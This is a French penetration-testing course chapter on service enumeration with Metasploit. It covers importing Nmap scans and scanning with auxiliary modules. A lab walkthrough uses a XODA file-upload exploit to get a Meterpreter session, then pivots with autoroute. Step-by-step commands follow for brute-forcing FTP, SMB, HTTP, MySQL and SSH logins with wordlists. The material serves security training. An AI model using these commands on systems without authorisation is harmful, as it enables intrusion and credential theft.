Chapitre 3 : Enumeration

Énumération

Énumération de Services avec Metasploit

Support officiel de cours pratique : import des scans Nmap dans Metasploit, modules auxiliaires de scan et de pivoting, et énumération détaillée des services FTP, SMB, HTTP, MySQL, SSH et SMTP.

1. NSE & Metasploit

Export des scans Nmap au format XML et import direct dans une base de données Metasploit.

2. Modules Auxiliaires

Scan de ports, découverte réseau et pivoting après un premier accès (foothold).

3. Énumération par Service

FTP, SMB, HTTP, MySQL, SSH et SMTP : versions, comptes, partages et accès anonymes.

Introduction — Qu'est-ce que l'Énumération ?

Concepts Fondamentaux

Définition

  • Après la découverte d'hôtes et le scan de ports (chapitre 2), la phase suivante logique est l'énumération de services.
  • Son objectif : obtenir des informations plus précises et détaillées sur les hôtes/systèmes et les services qui y tournent.
  • Cela inclut des éléments comme les noms de comptes, les partages réseau, ou des services mal configurés.

Ce qu'il faut retenir

  • Comme la phase de scan, l'énumération implique des connexions actives vers les machines distantes du réseau.
  • De nombreux protocoles réseau peuvent être ciblés par un attaquant s'ils sont mal configurés ou laissés activés sans nécessité.
  • Ce chapitre explore les outils et techniques pour interagir avec ces protocoles, en vue d'une exploitation potentielle ultérieure.

Scan Nmap & Import dans Metasploit

NSE / MSF

Scan Nmap avec Export XML

# Scan version de service + détection OS
# sans host discovery (Pn)
nmap -Pn -sV -O @IP_cible

# Même scan, avec export au format XML
nmap -Pn -sV -O -oX resultat.xml @IP_cible

Import dans Metasploit

# Démarrer la base de données et msfconsole
service postgresql start && msfconsole

# Vérifier l'état de la base
db_status

# Créer un espace de travail dédié
workspace -a nom_workspace

# Importer le fichier XML généré par Nmap
db_import /chemin/resultat.xml

# Afficher les hôtes importés
hosts

# Alternative : scanner directement depuis msfconsole
db_nmap -Pn -sV -O @IP_cible

Modules Auxiliaires — Concepts & Scénario

Auxiliary Modules

Modules Auxiliaires

  • Utilisés pour des fonctionnalités comme le scan, la découverte et le fuzzing.
  • Permettent le scan de ports TCP et UDP, ainsi que l'énumération de services (FTP, SSH, HTTP...).
  • Utilisables aussi bien pendant la phase de renseignement que pendant la post-exploitation.
  • Utiles pour découvrir des hôtes et scanner un autre sous-réseau après avoir obtenu un accès initial.

Scénario de Labo

  • Objectif : utiliser un module auxiliaire pour découvrir les ports ouverts sur une première cible.
  • Exploiter le service détecté pour obtenir un point d'appui (foothold) sur la machine.
  • Utiliser ce foothold pour accéder à un autre sous-réseau (pivoting).
  • Réutiliser un module auxiliaire pour scanner les ports ouverts sur cette seconde cible.

Démo — Scan de Ports & Pivoting

Auxiliary / Pivoting

Scan de Ports (Module Auxiliaire)

ifconfig
service postgresql start && msfconsole
workspace -a Port_Scan

search portscan
use auxiliary/scanner/portscan/tcp
options
set rhosts @IP_cible
run

Exploitation & Pivoting vers un 2e Réseau

# Exploitation d'une application web vulnérable
search xoda
use exploit/unix/webapp/xoda_file_upload
set rhost @IP_cible
set targeturi /
exploit

# Une fois la session Meterpreter obtenue
sysinfo
shell

# Découvrir les interfaces réseau internes
ifconfig
background

# Créer une route vers le réseau interne découvert
run autoroute -s @IP_reseau_interne
sessions

# Scanner ce nouveau réseau via le module auxiliaire
use auxiliary/scanner/portscan/tcp
set rhosts @IP_cible_interne
run

Énumération FTP (Port 21)

FTP Enum

Concepts

  • FTP (File Transfer Protocol) utilise le port TCP 21 et facilite le partage de fichiers entre un serveur et un ou plusieurs clients.
  • Fréquemment utilisé pour transférer des fichiers vers ou depuis le répertoire d'un serveur web.
  • L'authentification repose sur un couple utilisateur/mot de passe, mais un serveur mal configuré peut autoriser une connexion anonyme.

Démo

workspace -a FTP

use auxiliary/scanner/ftp/ftp_version
set rhosts @IP_cible
run

use auxiliary/scanner/ftp/ftp_login
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_password.txt
set rhosts @IP_cible
run

use auxiliary/scanner/ftp/anonymous
set rhosts @IP_cible
run

# Accès direct au serveur FTP
ftp @IP_cible
get nom_fichier

Énumération SMB (Port 445)

SMB Enum

Concepts

  • SMB (Server Message Block) est un protocole de partage de fichiers utilisé sur les réseaux locaux (LAN).
  • Utilise le port TCP 445 ; historiquement, SMB fonctionnait au-dessus de NetBIOS sur le port 139.
  • SAMBA est l'implémentation Linux de SMB, permettant aux systèmes Windows d'accéder à des partages et périphériques Linux.

Démo

setg rhosts @IP_cible

use auxiliary/scanner/smb/smb_version
run

use auxiliary/scanner/smb/smb_enumusers
info
run

use auxiliary/scanner/smb/smb_enumshares
set ShowFiles true
run

use auxiliary/scanner/smb/smb_login
set SMBUser admin
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_password.txt
run

# Accès direct au partage
smbclient -L //IP_cible -U admin
smbclient //IP_cible/nom_partage -U admin
get nom_fichier

Énumération de Serveurs Web (Port 80)

HTTP Enum

Concepts

  • Un serveur web sert le contenu d'un site via le protocole HTTP, un protocole de la couche application qui utilise le port TCP 80.
  • Exemples de serveurs web répandus : Apache, Nginx, IIS.
  • Les modules auxiliaires permettent d'énumérer la version du serveur, les en-têtes HTTP, et de bruteforcer des répertoires cachés.

Démo

setg rhosts @IP_cible

use auxiliary/scanner/http/http_version
run

use auxiliary/scanner/http/http_header
run

use auxiliary/scanner/http/robots_txt
run

use auxiliary/scanner/http/dir_scanner
run

use auxiliary/scanner/http/files_dir
run

use auxiliary/scanner/http/http_login
set AUTH_URI /repertoire_cible/
set USER_FILE /usr/share/metasploit-framework/data/wordlists/namelist.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_password.txt
run

Énumération MySQL (Port 3306)

MySQL Enum

Concepts

  • MySQL utilise le port TCP 3306 par défaut, mais peut être hébergé sur n'importe quel port TCP ouvert.
  • Les modules auxiliaires permettent d'énumérer la version, de bruteforcer les mots de passe et d'exécuter directement des requêtes SQL.

Démo

use auxiliary/scanner/mysql/mysql_version
run

use auxiliary/scanner/mysql/mysql_login
set username root
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_password.txt
run

use auxiliary/scanner/mysql/mysql_sql
set username root
set SQL "show databases;"
run

use auxiliary/scanner/mysql/mysql_schema
set username root
run

# Accès direct
mysql -h @IP_cible -u root -p

Énumération SSH & SMTP

SSH / SMTP

SSH — Modules Disponibles

setg PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_password.txt
setg USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt

use auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/ssh/ssh_login
use auxiliary/scanner/ssh/ssh_login_pubkey
use auxiliary/scanner/ssh/ssh_login_enumusers

SMTP — Concepts & Modules

SMTP (Simple Mail Transfer Protocol) est utilisé pour la transmission d'e-mails. Il utilise le port TCP 25 par défaut, parfois configuré sur les ports 465 ou 587.

use auxiliary/scanner/smtp/smtp_version
use auxiliary/scanner/smtp/smtp_enum

Synthèse & Methodology Checklist — Chapitre 3

Récapitulatif

Checklist Pratique d'Énumération avec Metasploit

  • 1. Import : exporter le scan Nmap en XML (-oX) et l'importer dans un workspace Metasploit dédié (db_import).
  • 2. Scan par module : utiliser auxiliary/scanner/portscan/tcp pour redécouvrir ou compléter le scan de ports depuis msfconsole.
  • 3. Énumération par service : un module _version dédié existe pour chaque service courant (FTP, SMB, HTTP, MySQL, SSH, SMTP).
  • 4. Authentification : toujours tester l'accès anonyme ou par défaut avant de lancer un brute-force en dictionnaire (USER_FILE / PASS_FILE).
  • 5. Pivoting : un premier foothold permet souvent d'utiliser run autoroute pour scanner un réseau interne autrement inaccessible.
  • 6. Documentation : noter chaque module utilisé et son résultat — c'est la base du rapport final.